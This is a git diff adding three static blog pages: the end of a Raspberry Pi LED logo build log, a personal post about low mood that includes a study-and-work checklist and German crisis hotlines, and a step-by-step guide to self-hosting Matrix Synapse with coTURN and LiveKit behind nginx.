    • If you log every 5 seconds, multiply by ~12 (consider slower logging or downsampling).

    Prune old data (keep last 90 days):

    DELETE FROM readings
    +WHERE timestamp < date('now','-90 day');
    +

    (Optionally run VACUUM; after large deletes to reclaim file space.)

    Useful queries

    Latest reading:

    SELECT * FROM readings ORDER BY timestamp DESC LIMIT 1;
    +

    Range for charts (last 7 days):

    SELECT * FROM readings
    +WHERE timestamp >= datetime('now','-7 day')
    +ORDER BY timestamp;
    +

    Downsample to hourly averages (30 days):

    SELECT strftime('%Y-%m-%d %H:00:00', timestamp) AS hour,
    +       AVG(co2) AS co2, AVG(temperature) AS t, AVG(humidity) AS h
    +FROM readings
    +WHERE timestamp >= datetime('now','-30 day')
    +GROUP BY hour
    +ORDER BY hour;
    +

    Export to CSV (example via sqlite3 CLI):

    sqlite3 /home/pi/inet-led/sensor.db <<'SQL'
    +.headers on
    +.mode csv
    +.output /home/pi/inet-led/export_readings.csv
    +SELECT * FROM readings ORDER BY timestamp;
    +.output stdout
    +SQL
    +

    SD card friendliness

    • Choose a sensible interval (e.g., 30–60 s).
    • Optionally buffer in memory and write every N samples.
    • Prefer WAL mode; periodically prune & vacuum.
    • If you care about card wear, place the DB on USB/SSD.

    Backups & restore

    Nightly backup (simple):

    sqlite3 /home/pi/inet-led/sensor.db ".backup '/home/pi/backup/sensor-$(date +%F).db'"
    +

    Restore:

    1. sudo systemctl stop inet-led
    2. Copy backup file back to /home/pi/inet-led/sensor.db
    3. sudo systemctl start inet-led

    Security & permissions

    chown pi:pi /home/pi/inet-led/sensor.db
    +chmod 600 /home/pi/inet-led/sensor.db
    +

    Keep the app directory non-world-readable.

    Is SQLite the right choice?

    Yes, for a single Pi logging every few seconds and rendering local charts:

    • ✅ Zero admin, a single file, reliable journaling, great performance at this scale.
    • ⚠️ One writer at a time (I only have the sensor thread writing, so it’s fine).
    • ⬆️ If you later need multi-device ingestion, alerts, or >10s of millions of rows, consider a time-series DB (TimescaleDB/InfluxDB/VictoriaMetrics) and migrate using CSV exports.

    TL;DR

    SQLite is perfect here: simple, robust, easy to back up. Start with it, and only upgrade when your ambitions outgrow a single Raspberry Pi.


    8) Run at Boot (systemd)

    I wrote this simple systemd to /etc/systemd/system/inet-led.service so that it runs the script when RPi boots up:

    [Unit]
    +Description=INET LED Panel
    +After=network.target
    +
    +[Service]
    +ExecStart=/usr/bin/python3 /home/pi/inet-led/inet_led_panel.py
    +WorkingDirectory=/home/pi/inet-led
    +Restart=always
    +User=pi
    +Environment=LED_COUNT=78
    +Environment=SCHEDULE_FILE=/home/pi/inet-led/schedule.json
    +Environment=DB_PATH=/home/pi/inet-led/sensor.db
    +
    +[Install]
    +WantedBy=multi-user.target
    +

    Then you can run:

    sudo systemctl daemon-reload
    +sudo systemctl enable --now inet-led
    +journalctl -u inet-led -f
    +

    to control the systemd service.


    9) Soldering Notes (a love letter to hot glue)

    • Tin first, solder second. Tiny pads like tiny puddles. Fast in/out, no lifted pads.
    • Stagger joints so nothing stacks under the diffuser.
    • Heat‑shrink + a dot of hot glue = happier future you.
    • Continuity before power. Multimeter first, electrons last.
    • If a pad does lift: magnet wire to a trace, UV mask to seal. Ugly heroics, but it works.

    Besides the soldering part, I also used m2 screws to fix the diffusers. Initially magnets were suggested, but I felt like figuring that out might take me long, and screws just feel more maintainable… So… yea.


    10) Why these design choices?

    • Calm motion, not flashy. Meeting rooms breed fatigue; the light should be a helper, not a distraction.
    • Cyan→Purple language. Easy to learn, visible at a glance, meaningful without numbers.
    • White charts, dark UI. Data should be legible on a projector; buttons shouldn’t shout.
    • Safe Mode default. People first. Demos are opt‑in.
    • PLA body, PLA diffuser. Fast and easy rapid prototyping, easy and fast printing.

    11) What I learned

    • A logo is a better messenger than a dashboard.
    • Everyone knows what orange means without a legend.
    • If you show the room a mirror, it corrects itself. Someone will open the door long before you have to ask, and if someone notices the orange/red color of the logo, they would hint the end of the gathering!
    • Sometimes debugging is not fun at all, and you want to bang your head to the wall, but try not to! Life is short. ^^

    12) Final notes

    I did this project as a fun distraction and “not work” as my advisor tells me to do all the time. My advisor provided the LED strip, RPi zero 2 W, and the voltage divider. I got the sensor, designed and coded everything else, and had a lot of fun doing so. I’m so so thankful of my advisor for this cool idea, and all the support. It’s not the first time I’ve been gifted such toys, and as I have recieved other things after that, I know it’s not the last.

    There is a bug I never was able to figure out, sometimes when I stop the script, I get segmentation fault. I know it is not directly my code with extensive testing, and that the problem is with the library, but I never understood why it happens. Let’s hope that doesn’t turn into a backdoor into my logo. * Shakingly crosses fingers and sighs in distress!*

    The whole project took around 8 days, 4 of which were part of a long weekend. I did do some “not work” as Tobias always tells me to do, and honestly it was fun and refreshing! I really enjoyed it. I don’t know how the group feels/thinks about the logo, but I love it! I hope it won’t die after I leave, but even if so, so be it. I had my fun with it. :)


    Downloads: +Markdown · +Signature (.asc)

    View OpenPGP signature
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuIACgkQtYgoUOBM
    +jSoc5w/+Ij7a9UuglnzXQSMNA8VkN84qokmVTaI9mN6BY/aJQLjWWwJFi5Ih7qKw
    +0oWl2ZZ6FHKdAo2+gAajxhg0vf0DUGZNwsD0NJsHAuei8ezvgb4TKIfAMspKC+9J
    +CgcvqbZdC+M2c3PcPPA4UV5reYclf9PisEsmJSiR+cyDaCtNJkYjQ9SSZMO+BV93
    +k6I20tEILeR/l72ahSGyGCQxFTkI+cE5EOglG+AJP7HnLArcBUplixjLS7j/gq13
    +U/TeRhI5R6RG0sCzaTsyUMhfc/7be0PeU5EZTf8e21dv6c6RRWiYe+kXXv1wH1yE
    +sfJnMxiQ2YJqxUXDjJNJt1R+4yWpznmqYoOcW1/T8ySuYCrzx5XBdGB9XThQAxZg
    +sDsV6dgcPJUSvpuZqPmQicTu/+BL9QdmB4bASxDhRUX2KkK1RKRTBGP73l79vUmP
    +QUuBm7o7sHpSUax7CEE+vbjC9FubL5D6i6nSIesTImpR2P7ycaWboFPYREC2q3ma
    +B/WmnHiYbrhiLMNRrAHFdiCSHPd9JKiNK+9C8ASsDpEz8yvf2Ef9yhp0sYZ6ZBkb
    +Bs+BKOoDWDsI7NkT/hFBeWMrTTWpTDoRf2UGk1HI2Iaz7Fh+hXljpEPyQ/Mq3s0X
    +o9h8Z1rq9m7nIwmpLNW+vEiL81/SrnjJE8/+kA/+J2p9TNBYcn8=
    +=tAeg
    +-----END PGP SIGNATURE-----
    +

    Verify locally:

    curl -fSLO https://blog.alipour.eu/sources/posts/inet_logo.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/inet_logo.md.asc
    +gpg --verify inet_logo.md.asc inet_logo.md
    +  
    + +Open on GitHub ↗
    Comments powered by Isso
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/posts/loop_of_doom/index.html b/public-clearnet/posts/loop_of_doom/index.html new file mode 100644 index 0000000..a6ac983 --- /dev/null +++ b/public-clearnet/posts/loop_of_doom/index.html @@ -0,0 +1,93 @@ +The Loop of Doom | AlipourIm journeys +

    The Loop of Doom

    It all started after I came back from my trip to Turkey. I was actually doing really good the first three weeks, or at least I think so. Actually, looking back at it, I maybe wasn’t. Well I had to take like two exams and studied for them, but that was also not good enough. I have not really been able to focus on my work and studies lately. I’ve been feeling more down, sad, exhausted. I’ve been wanting to stay alone at home. To rest. And then I get stressed and sad because I’m not doing anything. I get the feeling of worthlessness a lot lately. It’s exhausting.

    Funny how I loved my research, the group, the people, hanging out, trying new things. It’s just funny how everything changed all of the sudden. How I don’t feel anything anymore. How sad I’ve been. How down I’ve been. My cognitive functions, my memory and everything has been also badly damaged. It’s just horrible.

    I’ve been also overthinking about my interactions and relationships with people, how they look at me, how they judge me, how they feel about me. And for some reason I tend to care a lot. This has also been extremely exhausting to me.

    I was reading about Major Depressive Disorder (MDD) last week. I brought it up in my therapy session too. My therapist said “why do you want to label things?”.

    This is actually a really valid question. I don’t know why, maybe because it helps me think about it less? I can put a label on it and store it somewhere in my brain? Maybe. Idk.

    This is what I call the loop of doom. MDD. I don’t even know if I’m experiencing it or not. All I know is that things are not right, and I don’t feel well.

    Now here is the problem. You start not performing well, then you hate yourself for not performing well, then you take it harder to yourself and it doesn’t work, then you hate yourself more, and it repeats and repeats until you are completely disfunctional. Most cases that get stuck in MDD get suicidal thoughts which is horrible. Thinking about a quick relief for yourself is just forgetting the values you bring to the world.

    I’m happy that I’ve not been thinking about these things, the scary things. But this is the first thing doctors ask you. Just to make sure.

    It’s sad because I can see it in my monthly reports, in the PhD_journey page of my blog. I can see how bad last month was, and I know this month has not been any better. It’s just scary, and sad. I know I’m losing precious time that I cannot get back. I know at some point I’m expected to deliver results that I won’t have, and I know I won’t like myself when this inevitable happens.

    I really do not know what to do. I contacted my thrapist again today to see if he can help me or not. Let me list some stuff I’ve been told to do by my brother in the meanwhile:

    • Going for short walks
    • Doing small tasks that make me feel good
    • idk… I don’t remember anything else.

    ChatGPT also gave me some advice, I’ll copy it here:

    # 14‑Day Reset — Daily Checklist
    +
    +**Name:** _____________________  **Start date (Day 1):** ______________  **Wake time target:** ________
    +
    +### How to use (60 seconds)
    +
    +* Each day, check **two tiny tasks**: one **Study MRD** and one **Work/Code MRD** (≤15 min each).
    +* Do **2 short sprints** (start at 10 min on / 2 min off). Stop when the timer ends.
    +* Log the **evening 2‑minute check‑in** in the table (mood, sleep, meds, sprints, one win).
    +* If no improvement by **Day 7**, escalate with your prescriber; reassess again on **Day 14**.
    +
    +### Define today’s Minimum Reliable Dose (MRD)
    +
    +*(Write clear, tiny actions with a start line → action → done proof.)*
    +
    +* **Study MRD:** ________________________________________________________________
    +* ---
    +* **Work/Code MRD:** ____________________________________________________________
    +* ---
    +
    +---
    +
    +### Daily tracker (14 days)
    +
    +| Day/Date                   | Outside 10–15m | Study MRD | Work MRD | Sprints (0/1/2) | Mood 0–10 | Sleep hrs | Meds Y/N | One win / Notes                |
    +| -------------------------- | :------------: | :-------: | :------: | :-------------: | :-------: | :-------: | :------: | ------------------------------ |
    +| 1 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 2 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 3 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 4 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 5 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 6 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| **7 / ____ (Checkpoint)**  |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | **PHQ‑9 today = ____**         |
    +| 8 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 9 / ____                   |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 10 / ____                  |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 11 / ____                  |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 12 / ____                  |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| 13 / ____                  |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | ______________________________ |
    +| **14 / ____ (Checkpoint)** |        ☐       |     ☐     |     ☐    |      0 1 2      |     __    |     __    |   Y / N  | **PHQ‑9 today = ____**         |
    +
    +---
    +
    +### Quick reference
    +
    +**Paper — 12‑min read:** 3 min skim (title/abstract/figures/conclusion) → 7 min one figure + its paragraph → 2 min 3 bullets (Claim / Evidence / Open question).
    +
    +**Code — restart protocol:**
    +
    +1. Open repo → `git status` → run tests/linter → open last‑changed file.
    +2. Choose **one smallest step** (≤10 min): e.g., add a failing test, reproduce a bug, rename a variable, add a log.
    +3. **Stuck 3‑step (2 min each):** talk it out / write exact error → minimal repro or tiny test → read one doc page. If still stuck after ~15–20 min, park it with the **next guess**.
    +
    +---
    +
    +### Safety net (Germany)
    +
    +* **Emergency:** 112
    +* **TelefonSeelsorge (24/7):** 0800 111 0 111 · 0800 111 0 222 · 116 123
    +  If risk rises (can’t stay safe, intense agitation/akathisia), seek same‑day care.
    +

    Lmao. I wonder how things will progress in the future, and how I’ll do. Was it really because of a failed relationship? Really? Something that never happened? I don’t believe it, it’s not possible. Or was it because I had the feeling of being used, and thrown away. Maybe if I kept contact I wouldn’tve these feelings. Maybe, just maybe.

    But I do feel many many other bad things also happened. Like me not getting good grades in two of my courses (both of which turned out to be outliers, with one only 20% passing the course(!) and the other having a much worse average that previous exam iterations). My paper also got rejected. My research was criticized and shat on heavily. And I felt lonely a lot since I wasn’t being invited to many things other people were. I gained a lot of weight. I lost few friendships I wanted to keep. Some people I cared about started to hate me. And some of the people I considered as friends kept not including me in their plans, making me nervous that things are not right.

    Darn. That is a lot. Lot of bad things. Back to back to back.

    Ok. Let’s break the loop. How can I do that? Maybe by starting new habits? By going to gym at nights? By eating healthier? By losing weight? By taking baby steps in literature review and my code? By organizing fun things with people? Idk. I really don’t. But I will figure it out and make it work. I have to. I ain’t, and I wasn’t brought up like this. Let’s fleaping go…

    I try to keep ya’ll, the empty list of people, updated.


    Downloads: +Markdown · +Signature (.asc)

    View OpenPGP signature
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuYACgkQtYgoUOBM
    +jSq5fw/+OIEZpkK2C+NVLDU7fRma6IMFlq/XcJIFuC416au47cTEhETuvWGMCvo1
    +uzwHMPamUdBUtZkK7Lk0RbzOFWo+ru4vtmcKe2XZoRUTUofB5+rPkPLz4OzoIyLX
    +mvrCb91MbWC3pB176Ul83HBe/797QzFTsDiFw3cDtHB2yOeVY5zNejttdbwqMLyK
    +g7lbDCDf1GqtrNRgs1KqV0T9qoOesP9yhxXN/eIbaAUc8OIPUsBMB6/LG+RWtycp
    +X6iSBX30MfDo6DCpTncowKs8/4Plv30oIgsqLJlKK7Gd5IamYxtmoWeOSj15BT4n
    +TCn/G1olSfsnREX9/rY9xipTQDO0KaQNqG7q0y4gFvAE/C5ur5G5V6TtesDTEvLv
    +bNNrRuF/0+t9EOkJFvo1dCnuPLd/Ufl7BI4Yc1QErMODp6g8LoU2PRHTUJZCK9hK
    +PgS93JpDpYhURaH1f18b1YLgpEbIAR+AcwTlljeU8fVicHwbH0/vP9igASAJKJC6
    +2JheKwf1G2pFxMYfGus1evdHbKHS44s3xNF8pITFrTeUE/1CH+JBWRoyCjGgNsOA
    +XHDIDxFNuZFZYIhUk6wDhYTKrQiVATCubtBNgUaIZutL6SBzHFCxhknbBdKpFxc1
    +f7BJMvRa6uQco/ySzaVW8Zl14zaIXhZW1dpmitSuVDbnufkHhhU=
    +=Cuma
    +-----END PGP SIGNATURE-----
    +

    Verify locally:

    curl -fSLO https://blog.alipour.eu/sources/posts/loop_of_doom.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/loop_of_doom.md.asc
    +gpg --verify loop_of_doom.md.asc loop_of_doom.md
    +  
    + +Open on GitHub ↗
    Comments powered by Isso
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/posts/matrix_setup.asc b/public-clearnet/posts/matrix_setup.asc new file mode 100644 index 0000000..4202fbb --- /dev/null +++ b/public-clearnet/posts/matrix_setup.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfA4YHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qSO0P/2tzWyTdIIsGj1RoTrpTlNgJ +bVGtx3Cvs2aeBkq/3xCsLN8gJwQ6kOUPires79sae9wDsbaCmz7E2sXyRGl/pQol +81OxqRWvwMaZ9rZeOooh1JqCh2e90cSHjUOz3RocaJxpfuEH6mmd7gHrdok21FRa +mCxNFvBAAsxeZdO+4XSpIgVVHAWeIoBYEbacygHZkOAKqWnS6Y9WczE+PRQ8Ru46 +TsNjtSHloRRj90ijtHvv1IWUu6J4oRSntmbcXWBuiAZvSsnBCndroHAqU90nNMME +HSWR7kTGADIwrbkPzcznJnk0gp19f9qGhIIsnDheVHZJdtRbZhFSDAzk6Lw2XnbX +rSLFQadQJCPQhDv/pAfJhNtu+be0R2Rtx+iiw4+TBPK9nsgHgExM28etJON4ZsE/ +cZAVDoj39W9kshcynoyPCkUcqlcvlIpZ/21KmqWIPQAaTOCkPz4nJw1fVhXs4XbA +i8sbnFI2k+jg+qELiDShCmTAqFuCB+Icxi3l7BFL/ot0MzDHZAxG/0UqAE7Zv3i5 +c6EzU+8C6+gnYE3QvMo4egKMAz7S5zd6Vi6aGGKy4xc4HfS083pyDB9A8FSA3nND +kvihzAsOCnzf5IhkUkIU5SD25QWLsmEX//rIkAKrGDvvCBJZsqgwvpYYQ2V2N7Uo +hPqGAFdRLevEweDOG0IU +=EaCd +-----END PGP SIGNATURE----- diff --git a/public-clearnet/posts/matrix_setup/index.html b/public-clearnet/posts/matrix_setup/index.html new file mode 100644 index 0000000..97573b3 --- /dev/null +++ b/public-clearnet/posts/matrix_setup/index.html @@ -0,0 +1,203 @@ +Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way) | AlipourIm journeys +

    Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)

    How I set up a Matrix homeserver (Synapse) with TURN and Element Call using LiveKit, plus the exact debugging steps that took it from 'waiting for media' to solid calls.
    Matrix, Signal but distributed
    Distributed end-to-end encrypted chat platform

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it.

    What I’m building

    • A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain).
    • TURN/STUN (coTURN) for NAT traversal.
    • Element Call backed by LiveKit, fronted by rtc.example.com.
    • Nginx (host) as the single reverse proxy for everything.
    • Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud).
    • UFW firewall opened for Matrix federation, TURN, and LiveKit media ports.

    I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448.


    Prereqs

    • DNS A/AAAA:
      • matrix.example.com → your server (v4/v6)
      • rtc.example.com → your server (v4/v6)
    • Certificates:
      • matrix.example.com and rtc.example.com via Let’s Encrypt on the host
    • Cloudflare: DNS-only (grey cloud) for rtc.example.com so WebSockets & UDP work without interference.
    • UFW / firewall open:
      • 80/tcp, 443/tcp
      • 8448/tcp (Matrix federation)
      • 3478/tcp, 3478/udp and 5349/tcp (TURN/TLS)
      • LiveKit: 7881/tcp and 50100–50200/udp (or your chosen range)
    • Docker + docker compose installed.

    Synapse + PostgreSQL

    1) The PostgreSQL collation gotcha

    Synapse prefers the database collation C. If your Postgres cluster was initialized with en_US.utf8, Synapse will error like:

    Database has incorrect collation of 'en_US.utf8'. Should be 'C'

    Two ways to resolve:

    • Preferred (clean): Re-initialize the Postgres cluster with C and UTF-8:
    # docker-compose.yml (excerpt for Postgres)
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_DB: synapse
    +      POSTGRES_USER: synapse
    +      POSTGRES_PASSWORD: <strong-password>
    +      POSTGRES_INITDB_ARGS: "--locale=C --encoding=UTF8 --lc-collate=C --lc-ctype=C"
    +    volumes:
    +      - ./pgdata:/var/lib/postgresql/data
    +

    Requires wiping the volume and recreating the DB.

    • Pragmatic (works quickly): In Synapse’s DB config, set allow_unsafe_locale: true. This bypasses the check. It’s fine for hobby use; for production, prefer the clean C cluster.

    2) Start Synapse and generate config

    docker compose up -d db synapse
    +# Logs
    +docker compose logs --tail=200 synapse
    +

    Ensure Synapse prints your server_name and public base URL and stays up.

    3) Create an admin user

    # Exec into the running Synapse container:
    +docker compose exec synapse register_new_matrix_user \
    +  -c /data/homeserver.yaml -u <username> -p <password> \
    +  -a -k
    +

    If you see “Unknown execution mode”, you probably ran the binary with the wrong entrypoint. Use docker compose exec synapse … against the running container.


    TURN (coTURN)

    1) Avoid bad inline comments

    If you see errors like:

    ERROR: Unknown boolean value: # log to journald/syslog. You can use on/off, yes/no, 1/0, true/false.

    …it means a # comment is on the same line as a boolean directive. Move comments to their own lines.

    2) Minimal turnserver.conf

    listening-port=3478
    +tls-listening-port=5349
    +fingerprint
    +use-auth-secret
    +static-auth-secret=<shared-secret>   # also set in Synapse
    +realm=example.com                    # used in creds generation
    +total-quota=0
    +bps-capacity=0
    +cli-password=<admin-pass>
    +no-cli
    +cert=/etc/letsencrypt/live/turn.example.com/fullchain.pem
    +pkey=/etc/letsencrypt/live/turn.example.com/privkey.pem
    +# If behind NAT:
    +# external-ip=<public-ip>/<internal-ip>
    +

    3) Wire TURN into Synapse

    In homeserver.yaml:

    turn_uris:
    +  - "turn:turn.example.com?transport=udp"
    +  - "turn:turn.example.com?transport=tcp"
    +  - "turns:turn.example.com:5349?transport=tcp"
    +turn_shared_secret: "<shared-secret>"
    +turn_user_lifetime: "1d"
    +

    Verify the homeserver issues TURN creds:

    TOKEN='<your matrix access token>'
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +

    You should see uris, a time-limited username and password.


    Nginx (host) for Synapse and federation

    Create /etc/nginx/conf.d/matrix.conf:

    # Client traffic on 443
    +server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  # Proxy client & admin APIs to Synapse (container) on 8008
    +  location ~ ^(/_matrix|/_synapse/client) {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +
    +  # Advertise homeserver base + RTC focus (MSC4143) via .well-known
    +  location = /.well-known/matrix/client {
    +    default_type application/json;
    +    add_header Access-Control-Allow-Origin "*" always;
    +    return 200 '{"m.homeserver":{"base_url":"https://matrix.example.com"},"org.matrix.msc4143.rtc_foci":[{"type":"livekit","livekit_service_url":"https://rtc.example.com"}]}';
    +  }
    +}
    +
    +# Federation on 8448
    +server {
    +  listen 8448 ssl http2;  listen [::]:8448 ssl http2;
    +  server_name matrix.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/matrix.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:8008;
    +    proxy_set_header X-Forwarded-For $remote_addr;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_set_header Host $host;
    +    client_max_body_size 50M;
    +  }
    +}
    +

    Reload and sanity check:

    sudo nginx -t && sudo systemctl reload nginx
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +

    Also check Synapse supports RTC signaling (MSC4140) so clients actually use it:

    curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +# expect: true
    +

    Element Call + LiveKit

    I’ll run LiveKit and the small JWT helper (Element’s elementcall_jwt) in Docker. LiveKit handles media; the JWT helper mints access tokens for WebSocket connects.

    1) LiveKit config (/etc/livekit.yaml inside container)

    port: 7880
    +bind_addresses: ["0.0.0.0"]
    +rtc:
    +  tcp_port: 7881
    +  port_range_start: 50100
    +  port_range_end: 50200
    +  use_external_ip: true
    +logging:
    +  level: info
    +turn:
    +  enabled: false
    +keys:
    +  lk_prod_1: "REPLACE_WITH_A_64_CHAR_RANDOM_SECRET___________________________________"
    +

    Important: the secret must be >= 32 chars. The default devkey will trigger secret is too short warnings and won’t work with the JWT helper.

    2) elementcall_jwt env

    Run it with:

    • LIVEKIT_URL=wss://rtc.example.com (root WS URL, no /livekit/sfu path)
    • LIVEKIT_KEY=lk_prod_1
    • LIVEKIT_SECRET=<the long secret above>
    • LIVEKIT_JWT_PORT=8080 (internal HTTP port the proxy will hit)
    • Optionally: LIVEKIT_FULL_ACCESS_HOMESERVERS=* during setup

    Check logs on start; it prints the LIVEKIT_URL it will advertise.

    3) Nginx (host) for rtc.example.com

    Create /etc/nginx/conf.d/rtc.conf:

    server {
    +  listen 443 ssl;  listen [::]:443 ssl;
    +  server_name rtc.example.com;
    +
    +  ssl_certificate     /etc/letsencrypt/live/rtc.example.com/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/rtc.example.com/privkey.pem;
    +
    +  access_log /var/log/nginx/rtc.access.log combined;
    +
    +  # 3a) JWT endpoint with clean CORS (avoid duplicate ACAO)
    +  location = /sfu/get {
    +    proxy_hide_header Access-Control-Allow-Origin;
    +    add_header Access-Control-Allow-Origin $http_origin always;
    +    add_header Vary "Origin" always;
    +    add_header Access-Control-Allow-Methods "POST, OPTIONS" always;
    +    add_header Access-Control-Allow-Headers "Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization" always;
    +    if ($request_method = OPTIONS) { return 204; }
    +
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_pass http://127.0.0.1:8070/sfu/get;  # elementcall_jwt
    +  }
    +
    +  # 3b) LiveKit WS & HTTP (catch-all)
    +  location / {
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +    proxy_set_header Sec-WebSocket-Protocol $http_sec_websocket_protocol;  # "livekit"
    +    proxy_set_header Origin $http_origin;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Forwarded-Proto $scheme;
    +    proxy_buffering off;
    +    proxy_read_timeout 3600s;
    +    proxy_pass http://127.0.0.1:7880;         # livekit
    +  }
    +}
    +

    Reload and basic checks:

    sudo nginx -t && sudo systemctl reload nginx
    +# JWT preflight (should return a single ACAO header)
    +curl -si -X OPTIONS https://rtc.example.com/sfu/get \
    +  -H 'Origin: https://app.element.io' \
    +  -H 'Access-Control-Request-Method: POST' \
    +  -H 'Access-Control-Request-Headers: authorization, content-type' | sed -n '1,30p'
    +# Expected: one Access-Control-Allow-Origin and 200/204
    +

    Why I did this: I initially had two Access-Control-Allow-Origin headers (one added by the upstream, one by Nginx). Browsers reject that with “Access-Control-Allow-Origin cannot contain more than one origin”, so the JWT response never reached the client. Fixing CORS fixed everything.


    The “waiting for media” debugging story (how I found it)

    Symptom: Element Call created rooms, but calls stayed on “waiting for media.”

    What worked:

    • elementcall_jwt could CreateRoom in LiveKit (seen in logs).
    • TURN creds endpoint returned time-limited credentials.

    What didn’t appear:

    • No HTTP 101 lines in rtc.access.log → the browser never established a WebSocket to LiveKit.

    Step 1: prove the WS vhost works (even without auth)

    curl -v --http1.1 \
    +  -H 'Connection: Upgrade' -H 'Upgrade: websocket' \
    +  -H 'Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==' \
    +  -H 'Sec-WebSocket-Version: 13' \
    +  https://rtc.example.com/rtc -o /dev/null
    +

    Result: I got a 401 (expected), but importantly I saw a log line in rtc.access.log. So Nginx WS proxying was fine.

    Step 2: check the browser console

    The smoking gun in DevTools:

    Access-Control-Allow-Origin cannot contain more than one origin. +Fetch API cannot load https://rtc.example.com/sfu/get due to access control checks.

    The browser refused the JWT call due to duplicated ACAO headers, so no token → no WebSocket connect.

    Fix: in Nginx I added:

    proxy_hide_header Access-Control-Allow-Origin;
    +add_header Access-Control-Allow-Origin $http_origin always;
    +add_header Vary "Origin" always;
    +

    …and ensured no other add_header created duplicates. After that, /sfu/get succeeded and the WebSocket to wss://rtc.example.com immediately followed (I saw HTTP 101 in the logs).

    Step 3: confirm LiveKit side

    Once the WS was up, LiveKit logs showed participants joining (not just RoomService.CreateRoom), and calls were established.


    Useful verification commands

    # Synapse features (expect MSC4140 true)
    +curl -s https://matrix.example.com/_matrix/client/versions | jq '.unstable_features."org.matrix.msc4140"'
    +
    +# Well-known with RTC focus
    +curl -s https://matrix.example.com/.well-known/matrix/client | jq
    +
    +# TURN creds (with your access token)
    +curl -s -H "Authorization: Bearer $TOKEN" \
    +  https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq
    +
    +# JWT health
    +curl -si -X POST https://rtc.example.com/sfu/get
    +
    +# LiveKit simple HTTP probe
    +curl -si https://rtc.example.com | head
    +
    +# Nginx logs (look for 101 Switching Protocols when a call starts)
    +sudo tail -f /var/log/nginx/rtc.access.log | grep ' 101 '
    +

    Common pitfalls (I hit these so you don’t have to)

    • Host Nginx vs Docker Nginx: If you already run Nginx on the host, don’t also bind 80/443/8448 in a Docker Nginx — you’ll get bind() ... already in use and restart loops. Use host Nginx to reverse proxy to containers.
    • Nginx http2 directive: Old Nginx may not support the http2 directive on listen. Use listen 443 ssl; (and add http2 if your version supports it).
    • Certificate name mismatch: Make sure rtc.example.com’s vhost uses a certificate for that exact hostname (initially I had the matrix.* cert on rtc.* and curl complained).
